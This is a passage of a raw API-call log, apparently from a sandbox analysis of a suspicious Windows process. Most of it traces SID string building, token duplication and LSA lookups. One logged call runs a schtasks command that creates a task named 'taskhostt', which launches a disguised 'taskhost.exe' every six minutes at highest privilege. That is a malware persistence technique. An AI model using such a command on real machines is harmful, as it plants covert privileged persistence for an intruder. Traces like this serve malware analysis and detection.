SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0143.181] malloc (_Size=0x18) returned 0x2aef80 [0143.181] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0143.181] malloc (_Size=0x18) returned 0x2af0e0 [0143.181] malloc (_Size=0x18) returned 0x2af0c0 [0143.182] SysStringLen (param_1="S-1-") returned 0x4 [0143.182] SysStringLen (param_1="5") returned 0x1 [0143.182] memcpy (in: _Dst=0x161828, _Src=0x161858, _Size=0xa | out: _Dst=0x161828) returned 0x161828 [0143.182] memcpy (in: _Dst=0x161830, _Src=0x161a68, _Size=0x4 | out: _Dst=0x161830) returned 0x161830 [0143.182] free (_Block=0x2aef80) [0143.182] free (_Block=0x2af0e0) [0143.182] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0143.182] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0143.182] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0143.182] malloc (_Size=0x18) returned 0x2af0e0 [0143.182] malloc (_Size=0x18) returned 0x2aef80 [0143.182] SysStringLen (param_1="S-1-5") returned 0x5 [0143.182] SysStringLen (param_1="-") returned 0x1 [0143.182] memcpy (in: _Dst=0x161a68, _Src=0x161828, _Size=0xc | out: _Dst=0x161a68) returned 0x161a68 [0143.182] memcpy (in: _Dst=0x161a72, _Src=0x161858, _Size=0x4 | out: _Dst=0x161a72) returned 0x161a72 [0143.182] free (_Block=0x2af0c0) [0143.182] free (_Block=0x2af0e0) [0143.182] malloc (_Size=0x18) returned 0x2af0e0 [0143.182] malloc (_Size=0x18) returned 0x2af0c0 [0143.182] SysStringLen (param_1="S-1-5-") returned 0x6 [0143.182] SysStringLen (param_1="21") returned 0x2 [0143.182] memcpy (in: _Dst=0x161858, _Src=0x161a68, _Size=0xe | out: _Dst=0x161858) returned 0x161858 [0143.182] memcpy (in: _Dst=0x161864, _Src=0x161828, _Size=0x6 | out: _Dst=0x161864) returned 0x161864 [0143.183] free (_Block=0x2aef80) [0143.183] free (_Block=0x2af0e0) [0143.183] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0143.183] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0143.183] malloc (_Size=0x18) returned 0x2af0e0 [0143.183] malloc (_Size=0x18) returned 0x2aef80 [0143.183] SysStringLen (param_1="S-1-5-21") returned 0x8 [0143.183] SysStringLen (param_1="-") returned 0x1 [0143.183] memcpy (in: _Dst=0x161828, _Src=0x161858, _Size=0x12 | out: _Dst=0x161828) returned 0x161828 [0143.183] memcpy (in: _Dst=0x161838, _Src=0x161a68, _Size=0x4 | out: _Dst=0x161838) returned 0x161838 [0143.183] free (_Block=0x2af0c0) [0143.183] free (_Block=0x2af0e0) [0143.183] malloc (_Size=0x18) returned 0x2af0e0 [0143.183] malloc (_Size=0x18) returned 0x2af0c0 [0143.183] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0143.183] SysStringLen (param_1="4219442223") returned 0xa [0143.183] memcpy (in: _Dst=0x1182b8, _Src=0x161828, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0143.183] memcpy (in: _Dst=0x1182ca, _Src=0x161858, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0143.183] free (_Block=0x2aef80) [0143.183] free (_Block=0x2af0e0) [0143.184] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0143.184] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0143.184] malloc (_Size=0x18) returned 0x2af0e0 [0143.184] malloc (_Size=0x18) returned 0x2aef80 [0143.184] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0143.184] SysStringLen (param_1="-") returned 0x1 [0143.184] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0143.184] memcpy (in: _Dst=0x11823e, _Src=0x161828, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0143.184] free (_Block=0x2af0c0) [0143.184] free (_Block=0x2af0e0) [0143.184] malloc (_Size=0x18) returned 0x2af0e0 [0143.184] malloc (_Size=0x18) returned 0x2af0c0 [0143.184] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0143.184] SysStringLen (param_1="4223814209") returned 0xa [0143.184] memcpy (in: _Dst=0x12dc48, _Src=0x118218, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0143.184] memcpy (in: _Dst=0x12dc70, _Src=0x161828, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0143.184] free (_Block=0x2aef80) [0143.184] free (_Block=0x2af0e0) [0143.184] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0143.184] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0143.184] malloc (_Size=0x18) returned 0x2af0e0 [0143.185] malloc (_Size=0x18) returned 0x2aef80 [0143.185] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0143.185] SysStringLen (param_1="-") returned 0x1 [0143.185] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0143.185] memcpy (in: _Dst=0x12d954, _Src=0x161828, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0143.185] free (_Block=0x2af0c0) [0143.185] free (_Block=0x2af0e0) [0143.185] malloc (_Size=0x18) returned 0x2af0e0 [0143.185] malloc (_Size=0x18) returned 0x2af0c0 [0143.185] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0143.185] SysStringLen (param_1="3835049652") returned 0xa [0143.185] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0143.185] memcpy (in: _Dst=0x12dc86, _Src=0x161828, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0143.185] free (_Block=0x2aef80) [0143.185] free (_Block=0x2af0e0) [0143.185] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0143.185] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0143.185] malloc (_Size=0x18) returned 0x2af0e0 [0143.185] malloc (_Size=0x18) returned 0x2aef80 [0143.185] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0143.185] SysStringLen (param_1="-") returned 0x1 [0143.186] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0143.186] memcpy (in: _Dst=0x12d96a, _Src=0x161828, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0143.186] free (_Block=0x2af0c0) [0143.186] free (_Block=0x2af0e0) [0143.186] malloc (_Size=0x18) returned 0x2af0e0 [0143.186] malloc (_Size=0x18) returned 0x2af0c0 [0143.186] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0143.186] SysStringLen (param_1="1000") returned 0x4 [0143.186] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0143.186] memcpy (in: _Dst=0x12dc9c, _Src=0x161828, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0143.186] free (_Block=0x2aef80) [0143.186] free (_Block=0x2af0e0) [0143.186] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0143.186] malloc (_Size=0x5e) returned 0x2b08a0 [0143.186] free (_Block=0x2af0c0) [0143.186] malloc (_Size=0x18) returned 0x2af0c0 [0143.187] free (_Block=0x2b08a0) [0143.187] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0143.188] GetLastError () returned 0x7a [0143.188] malloc (_Size=0x14) returned 0x2af0e0 [0143.188] malloc (_Size=0x16) returned 0x2aef80 [0143.188] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca94, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0143.188] malloc (_Size=0x18) returned 0x2aefc0 [0143.188] malloc (_Size=0x18) returned 0x2aefa0 [0143.188] free (_Block=0x2af0e0) [0143.188] free (_Block=0x2aef80) [0143.189] free (_Block=0x2affa0) [0143.189] free (_Block=0x2aefa0) [0143.189] free (_Block=0x2aefc0) [0143.189] free (_Block=0x2af0c0) [0143.189] free (_Block=0x2ae2e0) [0143.189] malloc (_Size=0x48) returned 0x2ad270 [0143.189] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0143.195] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0143.195] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0143.195] malloc (_Size=0x18) returned 0x2af0c0 [0143.195] CreateEnvironmentBlock () returned 0x1 [0143.237] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0143.237] malloc (_Size=0x18) returned 0x2aefc0 [0143.237] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x244, dwProcessId=0xff4, dwThreadId=0xff8)) returned 1 [0143.242] CloseHandle (hObject=0x248) returned 1 [0143.242] CloseHandle (hObject=0x244) returned 1 [0143.243] free (_Block=0x2aefc0) [0143.243] DestroyEnvironmentBlock () returned 0x1 [0143.243] malloc (_Size=0x48) returned 0x2ad220 [0143.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x23d61980, dwHighDateTime=0x1d8a92a)) [0143.243] SetEvent (hEvent=0x1f0) returned 1 [0143.243] CloseHandle (hObject=0x2d4) returned 1 [0143.243] CloseHandle (hObject=0x234) returned 1 [0143.405] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0143.405] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0143.405] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0143.872] SetLastError (dwErrCode=0x0) [0143.872] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0143.872] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0143.872] SetLastError (dwErrCode=0x0) [0143.872] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0143.872] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0143.872] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0143.872] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0143.872] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0143.872] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0143.874] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0143.874] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.874] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.875] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0143.875] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.875] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0143.875] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0143.877] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0143.877] GetCurrentThread () returned 0xfffffffffffffffe [0143.877] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0143.877] malloc (_Size=0xd8) returned 0x2b35c0 [0143.877] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0143.878] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0143.879] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0143.880] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0143.880] malloc (_Size=0x18) returned 0x2af0c0 [0143.881] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2ac) returned 1 [0143.881] malloc (_Size=0x48) returned 0x2ad220 [0143.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2437b1e0, dwHighDateTime=0x1d8a92a)) [0143.881] SetEvent (hEvent=0x1f0) returned 1 [0143.883] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0143.883] GetLastError () returned 0x7a [0143.883] malloc (_Size=0x2c) returned 0x2ae2a0 [0143.883] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0143.883] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.883] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0143.883] malloc (_Size=0x1c) returned 0x2b0000 [0143.883] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.883] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0143.883] malloc (_Size=0x18) returned 0x2af0c0 [0143.883] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0143.883] malloc (_Size=0x18) returned 0x2aefc0 [0143.883] malloc (_Size=0x18) returned 0x2aefa0 [0143.883] SysStringLen (param_1="S-1-") returned 0x4 [0143.883] SysStringLen (param_1="5") returned 0x1 [0143.883] memcpy (in: _Dst=0x1617c8, _Src=0x161798, _Size=0xa | out: _Dst=0x1617c8) returned 0x1617c8 [0143.884] memcpy (in: _Dst=0x1617d0, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1617d0) returned 0x1617d0 [0143.884] free (_Block=0x2af0c0) [0143.884] free (_Block=0x2aefc0) [0143.884] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0143.884] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0143.884] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0143.884] malloc (_Size=0x18) returned 0x2aefc0 [0143.884] malloc (_Size=0x18) returned 0x2af0c0 [0143.884] SysStringLen (param_1="S-1-5") returned 0x5 [0143.884] SysStringLen (param_1="-") returned 0x1 [0143.884] memcpy (in: _Dst=0x1617f8, _Src=0x1617c8, _Size=0xc | out: _Dst=0x1617f8) returned 0x1617f8 [0143.884] memcpy (in: _Dst=0x161802, _Src=0x161798, _Size=0x4 | out: _Dst=0x161802) returned 0x161802 [0143.884] free (_Block=0x2aefa0) [0143.884] free (_Block=0x2aefc0) [0143.884] malloc (_Size=0x18) returned 0x2aefc0 [0143.884] malloc (_Size=0x18) returned 0x2aefa0 [0143.884] SysStringLen (param_1="S-1-5-") returned 0x6 [0143.884] SysStringLen (param_1="21") returned 0x2 [0143.884] memcpy (in: _Dst=0x161798, _Src=0x1617f8, _Size=0xe | out: _Dst=0x161798) returned 0x161798 [0143.884] memcpy (in: _Dst=0x1617a4, _Src=0x1617c8, _Size=0x6 | out: _Dst=0x1617a4) returned 0x1617a4 [0143.884] free (_Block=0x2af0c0) [0143.885] free (_Block=0x2aefc0) [0143.885] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0143.885] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0143.885] malloc (_Size=0x18) returned 0x2aefc0 [0143.885] malloc (_Size=0x18) returned 0x2af0c0 [0143.885] SysStringLen (param_1="S-1-5-21") returned 0x8 [0143.885] SysStringLen (param_1="-") returned 0x1 [0143.885] memcpy (in: _Dst=0x1617c8, _Src=0x161798, _Size=0x12 | out: _Dst=0x1617c8) returned 0x1617c8 [0143.885] memcpy (in: _Dst=0x1617d8, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1617d8) returned 0x1617d8 [0143.885] free (_Block=0x2aefa0) [0143.885] free (_Block=0x2aefc0) [0143.885] malloc (_Size=0x18) returned 0x2aefc0 [0143.885] malloc (_Size=0x18) returned 0x2aefa0 [0143.885] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0143.885] SysStringLen (param_1="4219442223") returned 0xa [0143.885] memcpy (in: _Dst=0x1179f8, _Src=0x1617c8, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0143.885] memcpy (in: _Dst=0x117a0a, _Src=0x161798, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0143.885] free (_Block=0x2af0c0) [0143.885] free (_Block=0x2aefc0) [0143.885] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0143.885] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0143.885] malloc (_Size=0x18) returned 0x2aefc0 [0143.886] malloc (_Size=0x18) returned 0x2af0c0 [0143.886] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0143.886] SysStringLen (param_1="-") returned 0x1 [0143.886] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0143.886] memcpy (in: _Dst=0x117a6e, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0143.886] free (_Block=0x2aefa0) [0143.886] free (_Block=0x2aefc0) [0143.886] malloc (_Size=0x18) returned 0x2aefc0 [0143.886] malloc (_Size=0x18) returned 0x2aefa0 [0143.886] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0143.886] SysStringLen (param_1="4223814209") returned 0xa [0143.886] memcpy (in: _Dst=0x12db38, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0143.886] memcpy (in: _Dst=0x12db60, _Src=0x1617c8, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0143.886] free (_Block=0x2af0c0) [0143.886] free (_Block=0x2aefc0) [0143.886] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0143.886] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0143.886] malloc (_Size=0x18) returned 0x2aefc0 [0143.886] malloc (_Size=0x18) returned 0x2af0c0 [0143.886] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0143.886] SysStringLen (param_1="-") returned 0x1 [0143.887] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0143.887] memcpy (in: _Dst=0x12d844, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0143.887] free (_Block=0x2aefa0) [0143.887] free (_Block=0x2aefc0) [0143.887] malloc (_Size=0x18) returned 0x2aefc0 [0143.887] malloc (_Size=0x18) returned 0x2aefa0 [0143.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0143.887] SysStringLen (param_1="3835049652") returned 0xa [0143.887] memcpy (in: 